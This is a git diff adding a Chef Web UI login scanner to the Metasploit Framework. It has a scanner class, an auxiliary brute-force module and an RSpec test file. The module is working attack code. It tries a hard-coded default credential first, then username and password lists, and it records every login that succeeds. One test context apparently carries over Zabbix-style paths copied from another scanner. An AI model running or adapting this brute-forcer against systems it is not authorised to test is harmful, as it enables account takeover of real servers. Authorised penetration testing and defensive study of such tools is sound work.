diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb
new file mode 100644
index 0000000000..22fa4a1513
--- /dev/null
+++ b/lib/metasploit/framework/login_scanner/chef_webui.rb
@@ -0,0 +1,144 @@
+
+require 'metasploit/framework/login_scanner/http'
+
+module Metasploit
+ module Framework
+ module LoginScanner
+
+ # The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
+ class ChefWebUI < HTTP
+
+ DEFAULT_PORT = 80
+ PRIVATE_TYPES = [ :password ]
+
+ # @!attribute session_name
+ # @return [String] Cookie name for session_id
+ attr_accessor :session_name
+
+ # @!attribute session_id
+ # @return [String] Cookie value
+ attr_accessor :session_id
+
+
+ # (see Base#check_setup)
+ def check_setup
+ begin
+ res = send_request({'uri' => normalize_uri('/users/login')})
+ return "Connection failed" if res.nil?
+
+ if res.code != 200
+ return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
+ end
+
+ if res.body.to_s !~ /
Chef Server<\/title>/
+ return "Unexpected HTTP body (is this really Chef WebUI?)"
+ end
+
+ rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
+ return "Unable to connect to target"
+ end
+
+ false
+ end
+
+ # Sends a HTTP request with Rex
+ #
+ # @param (see Rex::Proto::Http::Resquest#request_raw)
+ # @return [Rex::Proto::Http::Response] The HTTP response
+ def send_request(opts)
+ cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
+ cli.connect
+ req = cli.request_raw(opts)
+ res = cli.send_recv(req)
+
+ # Save the session ID cookie
+ if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
+ self.session_name = $1
+ self.session_id = $2
+ end
+
+ res
+ end
+
+ # Sends a login request
+ #
+ # @param credential [Metasploit::Framework::Credential] The credential object
+ # @return [Rex::Proto::Http::Response] The HTTP auth response
+ def try_credential(csrf_token, credential)
+
+ data = "utf8=%E2%9C%93" # ✓
+ data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
+ data << "&name=#{Rex::Text.uri_encode(credential.public)}"
+ data << "&password=#{Rex::Text.uri_encode(credential.private)}"
+ data << "&commit=login"
+
+ opts = {
+ 'uri' => normalize_uri('/users/login_exec'),
+ 'method' => 'POST',
+ 'data' => data,
+ 'headers' => {
+ 'Content-Type' => 'application/x-www-form-urlencoded',
+ 'Cookie' => "#{self.session_name}=#{self.session_id}"
+ }
+ }
+
+ send_request(opts)
+ end
+
+
+ # Tries to login to Chef WebUI
+ #
+ # @param credential [Metasploit::Framework::Credential] The credential object
+ # @return [Hash]
+ # * :status [Metasploit::Model::Login::Status]
+ # * :proof [String] the HTTP response body
+ def try_login(credential)
+
+ # Obtain a CSRF token first
+ res = send_request({'uri' => normalize_uri('/users/login')})
+ unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
+ return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
+ end
+
+ csrf_token = $1
+
+ res = try_credential(csrf_token, credential)
+ if res && res.code == 302
+ opts = {
+ 'uri' => normalize_uri("/users/#{credential.public}/edit"),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Cookie' => "#{self.session_name}=#{self.session_id}"
+ }
+ }
+ res = send_request(opts)
+ if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
+ return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
+ end
+ end
+
+ {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
+ end
+
+ # Decides which login routine and returns the results
+ #
+ # @param credential [Metasploit::Framework::Credential] The credential object
+ # @return [Result]
+ def attempt_login(credential)
+ result_opts = { credential: credential }
+
+ begin
+ status = try_login(credential)
+ result_opts.merge!(status)
+ rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
+ result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
+ end
+
+ Result.new(result_opts)
+ end
+
+ end
+ end
+ end
+end
+
diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb
new file mode 100644
index 0000000000..338413afa0
--- /dev/null
+++ b/modules/auxiliary/scanner/http/chef_webui_login.rb
@@ -0,0 +1,162 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'metasploit/framework/login_scanner/chef_webui'
+require 'metasploit/framework/credential_collection'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::AuthBrute
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'Chef Web UI Brute Force Utility',
+ 'Description' => %q{
+ This module attempts to login to Chef Web UI server instance using username and password
+ combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
+ will also test for the default login (admin:p@ssw0rd1).
+ },
+ 'Author' =>
+ [
+ 'hdm'
+ ],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
+ OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
+ OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
+ ], self.class)
+ end
+
+ def init_loginscanner(ip)
+ @cred_collection = Metasploit::Framework::CredentialCollection.new(
+ blank_passwords: datastore['BLANK_PASSWORDS'],
+ pass_file: datastore['PASS_FILE'],
+ password: datastore['PASSWORD'],
+ user_file: datastore['USER_FILE'],
+ userpass_file: datastore['USERPASS_FILE'],
+ username: datastore['USERNAME'],
+ user_as_pass: datastore['USER_AS_PASS']
+ )
+
+ # Always try the default first
+ @cred_collection.prepend_cred(
+ Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
+ )
+
+ @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
+ host: ip,
+ port: rport,
+ proxies: datastore['PROXIES'],
+ uri: datastore['TARGETURI'],
+ cred_details: @cred_collection,
+ stop_on_success: datastore['STOP_ON_SUCCESS'],
+ bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
+ connection_timeout: 5,
+ framework: framework,
+ framework_module: self,
+ )
+
+ @scanner.ssl = datastore['SSL']
+ @scanner.ssl_version = datastore['SSLVERSION']
+ end
+
+ def do_report(ip, port, result)
+ service_data = {
+ address: ip,
+ port: port,
+ service_name: 'http',
+ protocol: 'tcp',
+ workspace_id: myworkspace_id
+ }
+
+ credential_data = {
+ module_fullname: self.fullname,
+ origin_type: :service,
+ private_data: result.credential.private,
+ private_type: :password,
+ username: result.credential.public,
+ }.merge(service_data)
+
+ credential_core = create_credential(credential_data)
+
+ login_data = {
+ core: credential_core,
+ last_attempted_at: DateTime.now,
+ status: result.status
+ }.merge(service_data)
+
+ create_credential_login(login_data)
+ end
+
+ def bruteforce(ip)
+ @scanner.scan! do |result|
+ case result.status
+ when Metasploit::Model::Login::Status::SUCCESSFUL
+ print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
+ do_report(ip, rport, result)
+ :next_user
+ when Metasploit::Model::Login::Status::DENIED_ACCESS
+ print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
+ do_report(ip, rport, result)
+ :next_user
+ when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
+ if datastore['VERBOSE']
+ print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
+ end
+ invalidate_login(
+ address: ip,
+ port: rport,
+ protocol: 'tcp',
+ public: result.credential.public,
+ private: result.credential.private,
+ realm_key: result.credential.realm_key,
+ realm_value: result.credential.realm,
+ status: result.status
+ )
+ :abort
+ when Metasploit::Model::Login::Status::INCORRECT
+ if datastore['VERBOSE']
+ print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
+ end
+ invalidate_login(
+ address: ip,
+ port: rport,
+ protocol: 'tcp',
+ public: result.credential.public,
+ private: result.credential.private,
+ realm_key: result.credential.realm_key,
+ realm_value: result.credential.realm,
+ status: result.status
+ )
+ end
+ end
+ end
+
+
+ #
+ # main
+ #
+ def run_host(ip)
+ init_loginscanner(ip)
+ msg = @scanner.check_setup
+ if msg
+ print_brute :level => :error, :ip => rhost, :msg => msg
+ return
+ end
+
+ print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
+ bruteforce(ip)
+ end
+
+end
diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb
new file mode 100644
index 0000000000..523b8288d5
--- /dev/null
+++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb
@@ -0,0 +1,182 @@
+
+require 'spec_helper'
+require 'metasploit/framework/login_scanner/chef_webui'
+
+describe Metasploit::Framework::LoginScanner::ChefWebUI do
+
+ subject(:http_scanner) { described_class.new }
+
+ it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
+ it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
+
+
+ let(:username) do
+ 'admin'
+ end
+
+ let(:password) do
+ 'password'
+ end
+
+ let(:cred) do
+ Metasploit::Framework::Credential.new(
+ paired: true,
+ public: username,
+ private: password
+ )
+ end
+
+ let(:bad_cred) do
+ Metasploit::Framework::Credential.new(
+ paired: true,
+ public: 'bad',
+ private: 'bad'
+ )
+ end
+
+ let(:disabled_cred) do
+ Metasploit::Framework::Credential.new(
+ paired: true,
+ public: username_disabled,
+ private: password_disabled
+ )
+ end
+
+ let(:res_code) do
+ 200
+ end
+
+ context '#send_request' do
+ let(:req_opts) do
+ {'uri'=>'/users/sign_in', 'method'=>'GET'}
+ end
+
+ it 'returns a Rex::Proto::Http::Response object' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
+ expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response)
+ end
+
+ it 'parses session cookies' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
+ allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
+ http_scanner.send_request(req_opts)
+ expect(http_scanner.session_name).to eq("_sandbox_session")
+ expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
+ end
+ end
+
+ context '#try_credential' do
+ it 'sends a login request to /users/login_exec' do
+ expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec'))
+ http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
+ end
+
+ it 'sends a login request containing the username and password' do
+ expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login"))
+ http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
+ end
+ end
+
+ context '#try_login' do
+
+ let(:login_ok_message) do
+ 'New password for the User'
+ end
+
+ before :each do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
+ if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') &&
+ req.opts['data'] &&
+ req.opts['data'].include?("name=#{username}") &&
+ req.opts['data'].include?("password=#{password}")
+ res = Rex::Proto::Http::Response.new(302)
+ res.headers['Location'] = "/users/#{username}/edit"
+ res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e'
+ res
+ elsif req.opts['uri'] && req.opts['uri'].include?('/users/login')
+ res = Rex::Proto::Http::Response.new(200)
+ res.body = ''
+ elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec')
+ res = Rex::Proto::Http::Response.new(200)
+ res.body = 'bad login'
+ elsif req.opts['uri'] &&
+ req.opts['uri'].include?("/users/#{username}/edit")
+ res = Rex::Proto::Http::Response.new(200)
+ res.body = 'New password for the User'
+ else
+ res = Rex::Proto::Http::Response.new(404)
+ end
+
+ res
+ end
+ end
+
+ it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do
+ expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
+ end
+
+ it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do
+ expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
+ end
+ end
+
+ context '#attempt_login' do
+ context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do
+ it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError)
+ expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+ end
+ end
+
+ context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do
+ it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error)
+ expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+ end
+ end
+
+ context 'when Rex::Proto::Http::Client#connect raises a EOFError' do
+ it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError)
+ expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+ end
+ end
+
+ context 'when ChefWebUI' do
+ let(:login_ok_message) do
+ 'ChefWebUI 2.4 Appliance: User profile'
+ end
+
+ it 'returns a Metasploit::Framework::LoginScanner::Result' do
+ allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
+ if req.opts['uri'] && req.opts['uri'].include?('index.php') &&
+ req.opts['data'] &&
+ req.opts['data'].include?("name=#{username}") &&
+ req. opts['data'].include?("password=#{password}")
+ res = Rex::Proto::Http::Response.new(302)
+ res.headers['Location'] = 'profile.php'
+ res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID'
+ res
+ elsif req.opts['uri'] && req.opts['uri'].include?('index.php')
+ res = Rex::Proto::Http::Response.new(200)
+ res.body = 'bad login'
+ elsif req.opts['uri'] &&
+ req.opts['uri'].include?('profile.php')
+ res = Rex::Proto::Http::Response.new(200)
+ res.body = 'New password for the User'
+ else
+ res = Rex::Proto::Http::Response.new(404)
+ end
+
+ res
+ end
+
+ expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
+ end
+
+ end
+
+ end
+
+end
+